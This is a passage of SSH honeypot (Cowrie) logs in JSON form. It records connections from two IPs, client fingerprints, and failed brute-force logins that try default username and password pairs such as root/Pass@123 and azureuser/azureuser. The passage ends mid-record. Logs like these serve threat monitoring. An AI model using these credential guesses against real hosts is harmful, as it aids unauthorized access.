{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:05.308949Z","src_ip":"192.109.200.78","session":"df9fb5881aac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"systemd","message":"login attempt [systemd/systemd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:05.562158Z","src_ip":"192.109.200.78","session":"df9fb5881aac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:06.296212Z","src_ip":"176.65.139.95","session":"086166aec267","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:06.646943Z","src_ip":"192.109.200.78","session":"df9fb5881aac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55702,"dst_ip":"159.203.135.109","dst_port":22,"session":"0434f1ee482b","protocol":"ssh","message":"New connection: 192.109.200.78:55702 (159.203.135.109:22) [session: 0434f1ee482b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:09.432739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:09.437871Z","src_ip":"192.109.200.78","session":"0434f1ee482b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:09.520891Z","src_ip":"192.109.200.78","session":"0434f1ee482b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:09.768787Z","src_ip":"192.109.200.78","session":"0434f1ee482b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:10.854872Z","src_ip":"192.109.200.78","session":"0434f1ee482b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":54614,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8896cf1bb89","protocol":"ssh","message":"New connection: 176.65.139.95:54614 (159.203.135.109:22) [session: e8896cf1bb89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:11.534466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:11.539626Z","src_ip":"176.65.139.95","session":"e8896cf1bb89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:11.621783Z","src_ip":"176.65.139.95","session":"e8896cf1bb89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:11.918362Z","src_ip":"176.65.139.95","session":"e8896cf1bb89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:13.004712Z","src_ip":"176.65.139.95","session":"e8896cf1bb89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55716,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ad9052931b1","protocol":"ssh","message":"New connection: 192.109.200.78:55716 (159.203.135.109:22) [session: 8ad9052931b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:13.426142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:13.431747Z","src_ip":"192.109.200.78","session":"8ad9052931b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:13.515419Z","src_ip":"192.109.200.78","session":"8ad9052931b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser","message":"login attempt [azureuser/azureuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:13.764851Z","src_ip":"192.109.200.78","session":"8ad9052931b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:14.893286Z","src_ip":"192.109.200.78","session":"8ad9052931b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55736,"dst_ip":"159.203.135.109","dst_port":22,"session":"1331aaf82a68","protocol":"ssh","message":"New connection: 192.109.200.78:55736 (159.203.135.109:22) [session: 1331aaf82a68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:17.600947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:17.605494Z","src_ip":"192.109.200.78","session":"1331aaf82a68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:17.692343Z","src_ip":"192.109.200.78","session":"1331aaf82a68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud","message":"login attempt [cloud/cloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:17.942699Z","src_ip":"192.109.200.78","session":"1331aaf82a68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":54618,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5b6612c283a","protocol":"ssh","message":"New connection: 176.65.139.95:54618 (159.203.135.109:22) [session: a5b6612c283a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:18.297241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:18.305668Z","src_ip":"176.65.139.95","session":"a5b6612c283a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:18.425659Z","src_ip":"176.65.139.95","session":"a5b6612c283a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"vncuser","message":"login attempt [vncuser/vncuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:18.709173Z","src_ip":"176.65.139.95","session":"a5b6612c283a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:19.029153Z","src_ip":"192.109.200.78","session":"1331aaf82a68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:19.793635Z","src_ip":"176.65.139.95","session":"a5b6612c283a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38364,"dst_ip":"159.203.135.109","dst_port":22,"session":"12951720fa47","protocol":"ssh","message":"New connection: 192.109.200.78:38364 (159.203.135.109:22) [session: 12951720fa47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:21.585740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:21.590524Z","src_ip":"192.109.200.78","session":"12951720fa47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:21.673405Z","src_ip":"192.109.200.78","session":"12951720fa47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"soporte","password":"soporte","message":"login attempt [soporte/soporte] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:21.921139Z","src_ip":"192.109.200.78","session":"12951720fa47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:23.020452Z","src_ip":"192.109.200.78","session":"12951720fa47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":45796,"dst_ip":"159.203.135.109","dst_port":22,"session":"205881b86368","protocol":"ssh","message":"New connection: 176.65.139.95:45796 (159.203.135.109:22) [session: 205881b86368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:25.049497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:25.065356Z","src_ip":"176.65.139.95","session":"205881b86368","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:25.143164Z","src_ip":"176.65.139.95","session":"205881b86368","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"123456","message":"login attempt [amir/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:25.465208Z","src_ip":"176.65.139.95","session":"205881b86368","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38376,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9c596d0c955","protocol":"ssh","message":"New connection: 192.109.200.78:38376 (159.203.135.109:22) [session: a9c596d0c955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:25.817771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:25.822916Z","src_ip":"192.109.200.78","session":"a9c596d0c955","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 